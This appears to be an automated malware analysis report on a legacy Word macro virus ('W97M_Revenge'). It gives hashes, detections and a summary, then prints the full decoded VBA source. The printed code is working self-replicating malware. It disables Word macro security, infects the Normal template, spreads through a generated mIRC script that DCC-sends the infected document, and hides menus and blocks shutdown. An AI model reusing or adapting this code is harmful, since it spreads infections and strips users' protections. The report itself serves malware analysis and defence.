Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dc548e2af35cdb68…

MALICIOUS

Office (OLE)

39.5 KB Created: 2002-05-11 21:22:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a17cf0d269d0cc89767abf106efcf745 SHA-1: 86531604808d3e9f47a279905faa9b35aa064852 SHA-256: dc548e2af35cdb681e6869e8d4e684c5185c72cd33d66bbb386599782582396b
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Word document containing VBA macros. The macro attempts to disable security settings and export its own code to 'c:\ppacket.vxd'. It also checks for the presence of 'c:\mirc\mirc.exe' and creates a script file 'c:\mirc\script.ini' if certain conditions are met, suggesting an attempt to spread or download additional payloads. The ClamAV detections 'Win.Trojan.Psycho-3' and 'Doc.Trojan.Intruded-2' further confirm its malicious nature.

Heuristics 3

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2471 bytes
SHA-256: 432047df0a818d234106dd80eaa760301e17f75afed582ce916ea350ae325a12
Detection
ClamAV: Doc.Trojan.Intruded-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "revenge"
Sub FileSave()
On Error Resume Next

System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&

With Options
.VirusProtection = 0
.SaveNormalPrompt = 0
.ConfirmConversions = 0
End With
With Application
.UserName = "pickpacket"
.UserAddress = "rRlf;PVW"
.UserInitials = "ppacket"
End With

Set NTx = NormalTemplate.VBProject.VBComponents
Set ADx = ActiveDocument.VBProject.VBComponents


    If NTx.Item("revenge").Name <> "revenge" Then
    ADx("revenge").export "c:\ppacket.vxd"
    Nactive = True
    ElseIf ADx.Item("revenge").Name <> "revenge" Then
    NTx("revenge").export "c:\ppacket.vxd"
    Aactive = True
    End If
    
    If Nactive Then
    NTx.import "c:\ppacket.vxd"
    NormalTemplate.Save
    ElseIf Aactive Then
    ADx.import "c:\ppacket.vxd"
    ActiveDocument.Save
    End If

father = Dir("c:\mirc\mirc.exe")
If father <> "" Then

worm = Dir("c:\mirc\downloads\father.txt.doc")
If worm = "" Then
wormfile = "c:\mirc\downloads\father.txt.doc"
ActiveDocument.SaveAs "c:\mirc\downloads\father.txt.doc"
Open "c:\mirc\script.ini" For Output As #1
Print #1, "[script]"
Print #1, ""
Print #1, "n0=On Join:#:if ($me != $nick) then {/dcc send (" & wormfile & ")"
Print #1, "n1=On Connect"
Print #1, "n2=/clear"
Print #1, "n3=/motd"
Print #1, "n4=}"
Close #1
End If
End If
If Second(Now) = Int((Rnd * 60) + 1) Then
Call revenge
End If
Dialogs(wdDialogFileSave).Show
End Sub
Sub revenge()
On Error Resume Next

System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoClose") = 1&
MsgBox "This is a manifesto on my father as an asshole!!", vbInformation, "W97M_Revenge"
End Sub

Sub shadow()
On Error Resume Next

CommandBars("Tools").Controls("Macro").Enabled = False
CommandBars("Tools").Controls("Customize...").Enabled = False
CommandBars("Tools").Controls("Templates and Add-Ins...").Enabled = False
CommandBars("Tools").Controls("Macro").Enabled = False
CommandBars("Format").Controls("Style...").Enabled = False
CommandBars("View").Controls("Toolbars").Enabled = False
 
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.